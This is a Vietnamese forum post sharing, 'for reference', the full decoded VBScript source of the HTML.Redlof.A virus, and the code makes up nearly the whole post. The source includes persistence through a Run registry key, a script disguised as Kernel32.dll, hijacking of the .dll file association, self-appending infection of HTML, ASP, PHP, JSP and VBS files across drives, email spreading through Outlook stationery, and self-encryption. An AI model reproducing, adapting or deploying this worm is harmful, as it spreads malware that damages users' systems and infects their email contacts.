Code Virus html.redlof.a (vbs, decoded)

**admin** 1/4/2010, 2:26 pm

Hôm nay rảnh lang thang mấy diễn đàn của nước ngoài tình cờ tóm đc em này về cho anh em tham khảo. Code của nó

Code:: Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FS O,WsShell,WinPath,SubE,FinalyDisk Sub KJ_start() KJSetDim() KJCreateMilieu() KJLikeIt() KJCreateMail() KJPropagate() End Sub Function KJAppendTo(FilePath,TypeStr) On Error Resume Next Set ReadTemp = FSO.OpenTextFile(FilePath,1) TmpStr = ReadTemp.ReadAll If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then ReadTemp.Close Exit Function End If If TypeStr = "htt" Then ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,2) FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText FileTemp.Close Set FAttrib = FSO.GetFile(FilePath) FAttrib.attributes = 34 Else ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,8) If TypeStr = "html" Then FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText ElseIf TypeStr = "vbs" Then FileTemp.Write vbCrLf & VbsText End If FileTemp.Close End If End Function Function KJChangeSub(CurrentString,LastIndexChar) If LastIndexChar = 0 Then If Left(LCase(CurrentString),1) =< LCase("c") Then KJChangeSub = FinalyDisk & ":\" SubE = 0 Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" SubE = 0 End If Else KJChangeSub = Mid(CurrentString,1,LastIndexChar) End If End Function Function KJCreateMail() On Error Resume Next If InWhere = "html" Then Exit Function End If ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" If (FSO.FileExists(ShareFile)) Then Call KJAppendTo(ShareFile,"html") Else Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText FileTemp.Close End If DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Defa ult User ID") OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Micro soft\Outlook Express\MediaVer") WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Softwa re\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultI d&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultI d&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\O utlook\Options\Mail\EditorPreference",131072,"REG_ DWORD" Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Wi ndows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360 ","blank") Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Wi ndows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360 ","blank") WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\ Outlook\Options\Mail\EditorPreference",131072,"REG _DWORD" Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Of fice\10.0\Common\MailSettings\NewStationery","blan k") KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") End Function Function KJCreateMilieu() On Error Resume Next TempPath = "" If Not(FSO.FileExists(WinPath & "Wscript.exe")) Then TempPath = "system32\" End If If TempPath = "system32\" Then StartUpFile = WinPath & "SYSTEM\Kernel32.dll" Else StartUpFile = WinPath & "SYSTEM\Kernel.dll" End If WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\Kernel32",StartUpFile FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" Call KJAppendTo(WinPath & "web\Folder.htt","htt") WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.R egRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\scriptEngine\","VBScrip t" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",Wi nPath & TempPath & "Wscript.exe ""%1"" %*" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHa ndlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\scriptHostEncode\","{85 131631-480C-11D2-B1F9-00C04F86C324}" Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) FileTemp.Write VbsText FileTemp.Close End Function Function KJLikeIt() If InWhere <> "html" Then Exit Function End If ThisLocation = document.location If Left(ThisLocation, 4) = "file" Then ThisLocation = Mid(ThisLocation,9) If FSO.GetExtensionName(ThisLocation) <> "" then ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) End If If Len(ThisLocation) > 3 Then ThisLocation = ThisLocation & "\" End If KJummageFolder(ThisLocation) End If End Function Function KJMailReg(RegStr,FileName) On Error Resume Next RegTempStr = WsShell.RegRead(RegStr) If RegTempStr = "" Then WsShell.RegWrite RegStr,FileName End If End Function Function KJOboSub(CurrentString) SubE = 0 TestOut = 0 Do While True TestOut = TestOut + 1 If TestOut > 28 Then CurrentString = FinalyDisk & ":\" Exit Do End If On Error Resume Next Set ThisFolder = FSO.GetFolder(CurrentString) Set DicSub = CreateObject("scripting.Dictionary") Set Folders = ThisFolder.SubFolders FolderCount = 0 For Each TempFolder in Folders FolderCount = FolderCount + 1 DicSub.add FolderCount, TempFolder.Name Next If DicSub.Count = 0 Then LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentStrin g)-LastIndexChar-1) CurrentString = KJChangeSub(CurrentString,LastIndexChar) SubE = 1 Else If SubE = 0 Then CurrentString = CurrentString & DicSub.Item(1) & "\" Exit Do Else j = 0 For j = 1 To FolderCount If LCase(SubString) = LCase(DicSub.Item(j)) Then If j < FolderCount Then CurrentString = CurrentString & DicSub.Item(j+1) & "\" Exit Do End If End If Next LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentStrin g)-LastIndexChar-1) CurrentString = KJChangeSub(CurrentString,LastIndexChar) End If End If Loop KJOboSub = CurrentString End Function Function KJPropagate() On Error Resume Next RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" DiskDegree = WsShell.RegRead(RegPathValue) If DiskDegree = "" Then DiskDegree = FinalyDisk & ":\" End If For i=1 to 5 DiskDegree = KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next WsShell.RegWrite RegPathValue,DiskDegree End Function Function KJummageFolder(PathName) On Error Resume Next Set FolderName = FSO.GetFolder(PathName) Set ThisFiles = FolderName.Files HttExists = 0 For Each ThisFile In ThisFiles FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then Call KJAppendTo(ThisFile.Path,"html") ElseIf FileExt = "VBS" Then Call KJAppendTo(ThisFile.Path,"vbs") ElseIf FileExt = "HTT" Then HttExists = 1 End If Next If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then HttExists = 1 End If If HttExists = 0 Then FSO.CopyFile WinPath & "system32\desktop.ini",PathName FSO.CopyFile WinPath & "web\Folder.htt",PathName End If End Function Function KJSetDim() On Error Resume Next Err.Clear TestIt = Wscript.scriptFullname If Err Then InWhere = "html" Else InWhere = "vbs" End If If InWhere = "vbs" Then Set FSO = CreateObject("scripting.FileSystemObject") Set WsShell = CreateObject("Wscript.Shell") Else Set AppleObject = document.applets("KJ_guest") AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") AppleObject.createInstance() Set WsShell = AppleObject.GetObject() AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") AppleObject.createInstance() Set FSO = AppleObject.GetObject() End If Set DiskObject = FSO.Drives For Each DiskTemp In DiskObject If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then Exit For End If FinalyDisk = DiskTemp.DriveLetter Next Dim OtherArr(3) Randomize For i=0 To 3 OtherArr(i) = Int((9 * Rnd)) Next TempString = "" For i=1 To Len(ThisText) TempNum = Asc(Mid(ThisText,i,1)) If TempNum = 13 Then TempNum = 28 ElseIf TempNum = 10 Then TempNum = 29 End If TempChar = Chr(TempNum - OtherArr(i Mod 4)) If TempChar = Chr(34) Then TempChar = Chr(18) End If TempString = TempString & TempChar Next UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)" ThisText = "ExeString = """ & TempString & """" HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>" VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()" WinPath = FSO.GetSpecialFolder(0) & "\" If (FSO.FileExists(WinPath & "web\Folder.htt")) Then FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif" End If If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif" End If End Function